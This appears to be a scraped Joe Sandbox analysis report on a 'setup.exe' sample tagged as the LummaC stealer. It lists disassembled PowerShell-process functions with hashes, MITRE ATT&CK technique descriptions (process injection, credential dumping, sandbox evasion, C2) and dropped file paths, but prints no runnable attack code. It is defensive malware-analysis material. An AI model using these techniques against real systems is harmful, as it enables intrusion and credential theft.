Opcode ID: 632e2c732c9b2d65566e5ee38dfe2b089f35316b4e41bdf66225b6f38ca4cac0
Instruction ID: 11bf736f483989997e54b7ced16c9fbd8e1ab64666fc17ce5514fbb30288f5fa
Opcode Fuzzy Hash: 632e2c732c9b2d65566e5ee38dfe2b089f35316b4e41bdf66225b6f38ca4cac0
Instruction Fuzzy Hash: 4AA15AF17042168FE7319B2998506BBBBA5EFC5321F1480EBD906CB291DAB5CC45C7A1

Function 07BB0309 Relevance: 6.3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07BB02EB
$jq, xrefs: 07BB035E
$jq, xrefs: 07BB0352
4'jq, xrefs: 07BB037F
4'jq, xrefs: 07BB0373

Memory Dump Source

Source File: 00000003.00000002.2380738102.0000000007BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7bb0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$$jq$$jq
API String ID: 0-2228512047
Opcode ID: 42d20da4830852c5a56f889fb0a88de6e70df8fed03e6d3f9e9bd08ee85bb17e
Instruction ID: c2df6390001bb78b81cbe06195056bb80d2b17c3cc6160252deefbe367fd6d53
Opcode Fuzzy Hash: 42d20da4830852c5a56f889fb0a88de6e70df8fed03e6d3f9e9bd08ee85bb17e
Instruction Fuzzy Hash: E111D5E174D7524FD736222818241BB6A63EF9765072900E7C942EF2D6CDA58C4D8397

Function 07BB3228 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$jq, xrefs: 07BB3256
$jq, xrefs: 07BB3284
$jq, xrefs: 07BB323A
$jq, xrefs: 07BB3290

Memory Dump Source

Source File: 00000003.00000002.2380738102.0000000007BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7bb0000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: b5d4425d2075b35d397100cacee626962862d4e53969fd74053915aafaae9b20
Instruction ID: 8625b3e3de27a1bc29ed685c97664d562c79f515a3365cc36a1e25f2b82d5d5e
Opcode Fuzzy Hash: b5d4425d2075b35d397100cacee626962862d4e53969fd74053915aafaae9b20
Instruction Fuzzy Hash: E02135F17143165BFB345A2A88417B7BADADFC2714F2080BADE05CB385EDBAC8448361

Analysis Process: powershell.exePID: 6628, Parent PID: 3448COMMON

Executed Functions

Function 07601518 Relevance: 2.8, Strings: 2, Instructions: 286COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07601856
4'jq, xrefs: 07601860

Memory Dump Source

Source File: 00000005.00000002.2368540723.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: f66fe7986e9c21578faf82e8be241ff1a37eedfc301442f0435c84aaf4eb6ed7
Instruction ID: 1f2f711dc42bf8deb79405ff02820bd5b8f248b385b8be824185c70677598a41
Opcode Fuzzy Hash: f66fe7986e9c21578faf82e8be241ff1a37eedfc301442f0435c84aaf4eb6ed7
Instruction Fuzzy Hash: ED9107F071021A8BC71D8B7898116BF7BA69F82760B14846AD9039F3C1EA39CD45C7E2

Function 032F4408 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

^, xrefs: 032F44E2

Memory Dump Source

Source File: 00000005.00000002.2364617230.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32f0000_powershell.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 09cbb2a9b88f41186f5d4d19bdda2f89398f3c0a10d85f87fee8521a873b721f
Instruction ID: 6f539895bef3ff45cf65bb8928fe1ef10ab8451215cb3a1d800dfb8c32a4509c
Opcode Fuzzy Hash: 09cbb2a9b88f41186f5d4d19bdda2f89398f3c0a10d85f87fee8521a873b721f
Instruction Fuzzy Hash: A341BD3450A7C59FC702DB6CC8A08AAFF74FF4B22071942D7C595DB2A3C6299C8AC761

Function 076014FC Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2368540723.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7600000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30871ea0a43cf33e4831b38e7ca49df20dea781e54cc331081b48f68d9437f32
Instruction ID: b2ba76fdc7496e4610f578cba7073aaeb03dd3e2ed70ec2f7324e95f8c82410c
Opcode Fuzzy Hash: 30871ea0a43cf33e4831b38e7ca49df20dea781e54cc331081b48f68d9437f32
Instruction Fuzzy Hash: 6A410BF4B1020A9FC71D8F78994166F7BA29B87754B088066D5039F3C1E736C942C7E1

Function 032F3010 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2364617230.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 206191b654bb8108e3be46373d5299a9758d44de5043bfb2ad15dfdd7be1d370
Instruction ID: d2cf18f761a0e12379eaa308ba1c69720b80acca0f2588e17bfef4281d78f225
Opcode Fuzzy Hash: 206191b654bb8108e3be46373d5299a9758d44de5043bfb2ad15dfdd7be1d370
Instruction Fuzzy Hash: 662118B8A04219DFCB04CF9CC4909AAFBB4FF89300B1585AAD955EB352C735ED41CBA1

Function 032F3001 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2364617230.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd903c377c4ad5884301994de2d7e9e8e4489d3a8dfcdb6bd2f9ef7ee869354
Instruction ID: 5509137aad8e8c8528708c044e140f52da27d40fe6e62badb3a84fff22afc046
Opcode Fuzzy Hash: 5dd903c377c4ad5884301994de2d7e9e8e4489d3a8dfcdb6bd2f9ef7ee869354
Instruction Fuzzy Hash: A7211A79A042098FCB04CF9CD5909AEFBB4FF49310B1585AAD949EB356C731ED81CBA1

Function 031ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2363625286.00000000031ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 031ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e542f16056255547f20dc481c1ae905763116a39ede7d4c58e3d24ad46bf6578
Instruction ID: 9d6fa46f8381c8b4e061cd5dc84ed8e33fa1b87537dc6021e8cb3c31245fc1c2
Opcode Fuzzy Hash: e542f16056255547f20dc481c1ae905763116a39ede7d4c58e3d24ad46bf6578
Instruction Fuzzy Hash: CF01F7310057409FD720CA15DD84B67FF9CEF49321F1CC469ED480A246C37A9841C6B1

Function 031ED006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2363625286.00000000031ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 031ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b7fb9ecb825f8b014dc5511e02202cacf69c1b7ac1549ebf952a6ba051f28b5
Instruction ID: 88c581820ccb3fa47b9ec4f250301995e3ff5048dd9e0d312e6df37464dd5f0a
Opcode Fuzzy Hash: 4b7fb9ecb825f8b014dc5511e02202cacf69c1b7ac1549ebf952a6ba051f28b5
Instruction Fuzzy Hash: E5012D7100E3C09FD7128B259C94A52BFB8EF57225F1D81DBD9888F2A3C2699848C772

Function 032F429E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2364617230.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926072aedfec0eb1ffc5296ca59c9f62bd2821a7d51390d1bdd8587bf7ab802d
Instruction ID: 7dc47ddf0037bfb83e35cf196170572c8de46a076c2345da382588d37a9ccb97
Opcode Fuzzy Hash: 926072aedfec0eb1ffc5296ca59c9f62bd2821a7d51390d1bdd8587bf7ab802d
Instruction Fuzzy Hash: 66F0DA35A001059FCB15CF9DD990AEEF7B1FF88324F248169E515A72A1C732ED52CB50

Non-executed Functions

Function 07600148 Relevance: 9.1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

Strings

tPjq, xrefs: 076003A1
$jq, xrefs: 07600350
$jq, xrefs: 0760035C
4'jq, xrefs: 0760024B
4'jq, xrefs: 07600257
tPjq, xrefs: 07600395
$jq, xrefs: 0760032A

Memory Dump Source

Source File: 00000005.00000002.2368540723.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$tPjq$tPjq$$jq$$jq$$jq
API String ID: 0-2919996211
Opcode ID: b75ec17b63d275f6e38b452568cf245267e443c9973a0faca18193adc9796d92
Instruction ID: 92ac1c7db11838ec0f6167257b73fe972ee6cb674db628399d96dea097e0e78b
Opcode Fuzzy Hash: b75ec17b63d275f6e38b452568cf245267e443c9973a0faca18193adc9796d92
Instruction Fuzzy Hash: 9EA126B17043168FC71A8B79941076BBBA5AFC6361B1484BBD846CB3D2EA35CC46C7E1

Function 07602C10 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$jq, xrefs: 07602C3E
$jq, xrefs: 07602C22
$jq, xrefs: 07602C78
$jq, xrefs: 07602C6C

Memory Dump Source

Source File: 00000005.00000002.2368540723.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: 7ff5ba9625bd6baa68234b386d8afe11f645b4fa5409f7526dfceb6b74c07862
Instruction ID: e360aaf8154e5d6e70d26e9acb7bdb87cef1c20223784ba8d9938d5f316a13af
Opcode Fuzzy Hash: 7ff5ba9625bd6baa68234b386d8afe11f645b4fa5409f7526dfceb6b74c07862
Instruction Fuzzy Hash: CF2157B13502165FDBBC96398C647277A9ABFC1715F20843AE9078B3C1DD35C841CBA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azn0nrcf.gbs.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brldrrxw.u1a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2rg4htn.ckc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwgkswk5.0yu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hy2c2ur1.jio.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_npp0ob0v.tlm.ps1

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Windows Analysis Report
setup.exe